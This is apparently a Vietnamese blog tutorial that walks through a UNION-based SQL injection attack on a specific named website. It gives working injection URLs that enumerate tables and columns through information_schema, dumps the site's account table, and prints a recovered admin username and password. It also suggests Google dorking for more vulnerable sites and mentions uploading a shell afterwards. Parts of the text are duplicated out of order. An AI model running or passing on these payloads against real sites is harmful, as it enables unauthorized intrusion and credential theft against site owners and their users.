http://pscells.com/chitietsanpham.php?id=null UNION SELECT 1,2,3,4,5,group_concat(column_name),7,8 from information_schema.columns where table_name=0x7461696b686f616e-- -
Ta sẽ được:
Tiếp theo lấy giá trị từ các column này ra ( Ko Cần Dùng Mã Hex Cho Các Tên Column Này )
Đổi link ỡ 1 số chỗ :
http://pscells.com/chitietsanpham.php?id=null UNION SELECT 1,2,3,4,5,group_concat(id,0x207c20,name,0x207c20,pass,0x207c20),7,8 from taikhoan-- -
Lưu ý: Mã Hex 0x207c20 Là Mã Hex Của " | " Mình Đễ Vậy Để Phân Cách Các Giá Trị Sau Khi Get Cho Dễ Nhìn ^^! Ko Cần Thiết Lắm
Xóa Hết Phần Sau Chừa Lại from Và Thêm Tên Table Mà Hồi Nãy Mình Khai Thác Như : taikhoan
Và Ta Sẽ Đc Như Hình :
Như hình trên. Ta được 1 ID Admin Là :
ID: Admin
Pass : @#123@#
Số 1 Là Số User troq site ^^
Thế là xong ! Tìm link admin và đăng nhập vào thôi ^_^ ^_^!!
Thế Là Xoq Rồi Nhé ^^! Nếu Thích Bạn Cứ Úp Shell ( Mình Ko Khuyến Khích Các Bạn Deface ^_^ )
Update Cho Các Bạn Thêm Video Của anh RaZoR đễ các bạn nắm rõ hơn ^^!
BY : Trần Khánh
Tiếp theo ... Cần Chuẩn Bị :
1.Hackbar (Vào https://addons.mozilla.org/vi/firefox -> search " Hackbar " )
2. 1 cái đầu và những ngón tay =]]z~
Bây Giờ Tiến Hành Với Victim Nhé !
Victim : http://pscells.com ( Hoặc Có Thế Lên Google Gõ "inurl:index.php?id=" Để Dork tìm Site Bị Lỗi SQL )
Đi 1 Vòng Site Tìm Link Có Dạng ?id=
Chẳng hạn như link này : http://pscells.com/chitietsanpham.php?id=40
Tiếp Theo Kiểm Tra Lỗi Bằng Cách Thêm Dấu ' Vào Và Ta Đc Link Như Thế Này :
http://pscells.com/chitietsanpham.php?id=40'
Nếu Site Có Lỗi Thì Nó Sẽ Hiện Như Thế này :
Sau Đó Dùng Lệnh Order By Để Tìm Số Cột (Column)
http://pscells.com/chitietsanpham.php?id=40 order by 5-- - ==> Ko Lỗi
http://pscells.com/chitietsanpham.php?id=40 order by 10-- - ==> Lỗi
Vậy : 5 < x < 10
Tìm Tiếp :
http://pscells.com/chitietsanpham.php?id=40 order by 7-- - ==> Ko Lỗi
Vậy : 7 < x < 10
Tiếp Nào :
http://pscells.com/chitietsanpham.php?id=40 order by 9-- - ==> Lỗi
Vậy : 7 < x < 9 ===> Thế Số Cột (Column) Là 8 Nhé
Bây h Dùng Lệnh UNION SELECT để khai thác nó
Vậy ta sẽ dùng lệnh UNION SELECT với số cột là 8
Ta Sẽ Có Link :
http://pscells.com/chitietsanpham.php?id=40 UNION SELECT 1,2,3,4,5,6,7,8-- -
Trường Hợp Vài Site Khi Khai Thác Lệnh Này Xoq Vẫn Ko Thấy Gì ==> Cách Giải Quyết :
Thay Null Vào ?id=40 Có Nghĩa Là Link Sẽ Thành :
http://pscells.com/chitietsanpham.php?id=null UNION SELECT 1,2,3,4,5,6,7,8-- -
Nếu Cột Nào Đó Từ 1 -> 8 Bị Lỗi Sẽ Xuất Hiện Như Hình :
Vậy Cột 6 Bị Lỗi Nhé
Bây giờ ta khai thác với lệnh như sau:
http://pscells.com/chitietsanpham.php?id=null UNION SELECT 1,2,3,4,5,group_concat(table_name),7,8 from information_schema.tables where table_schema=database()-- -
( Thay Thế Group_concat(table_name) vào số cột bị lỗi mà ta đã tìm hồi nãy ( cột 6 ) , Thêm from information_schema.tables where table_schema=database() Để Tìm Ra Cách Table Có Trong Database )
Và Sau Đó Ta Đc Các Table Của Database Như Hình :
Lưu Ý Chúng Ta Cần Tìm ID và Pass Của Admin , Nên Ta Sẽ Chọn Table Có Liên Quan Đến Tài Khoản Người Dùng . Như Troq Hình Là Table " Taikhoan "
Tiếp Theo Tìm Các Column Trong Table taikhoan . Cần Phãi Encode tên table sang mã Hex Và thêm trước nó "0x" Để Hệ Thống Biết Đó Là Mã Hex . Mã Hex cũa taikhoan là 7461696b686f616e Thêm "0x" ỡ đầu sẽ thành :
0x7461696b686f616e <== Thay Mã Hex này Với Database() như Hình :
Và Sửa Link ỡ 1 vài chỗ :
http://pscells.com/chitietsanpham.php?id=null UNION SELECT 1,2,3,4,5,group_concat(table_name),7,8 from information_schema.tables where table_schema=database()-- -
Thành
http://pscells.com/chitietsanpham.php?id=null UNION SELECT 1,2,3,4,5,group_concat(column_name),7,8 from information_schema.columns where table_name=0x7461696b686f616e-- -
Ta sẽ được:
Tiếp theo lấy giá trị từ các column này ra ( Ko Cần Dùng Mã Hex Cho Các Tên Column Này )
Đổi link ỡ 1 số chỗ :
http://pscells.com/chitietsanpham.php?id=null UNION SELECT 1,2,3,4,5,group_concat(id,0x207c20,name,0x207c20,pass,0x207c20),7,8 from taikhoan-- -
Lưu ý: Mã Hex 0x207c20 Là Mã Hex Của " | " Mình Đễ Vậy Để Phân Cách Các Giá Trị Sau Khi Get Cho Dễ Nhìn ^^! Ko Cần Thiết Lắm
Xóa Hết Phần Sau Chừa Lại from Và Thêm Tên Table Mà Hồi Nãy Mình Khai Thác Như : taikhoan
Và Ta Sẽ Đc Như Hình :
Như hình trên. Ta được 1 ID Admin Là :
ID: Admin
Pass : @#123@#
Số 1 Là Số User troq site ^^
Thế là xong ! Tìm link admin và đăng nhập vào thôi ^_^ ^_^!!
Thế Là Xoq Rồi Nhé ^^! Nếu Thích Bạn Cứ Úp Shell ( Mình Ko Khuyến Khích Các Bạn Deface ^_^ )
Update Cho Các Bạn Thêm Video Của anh RaZoR đễ các bạn nắm rõ hơn ^^!
Đăng ký:
Bài đăng (Atom)


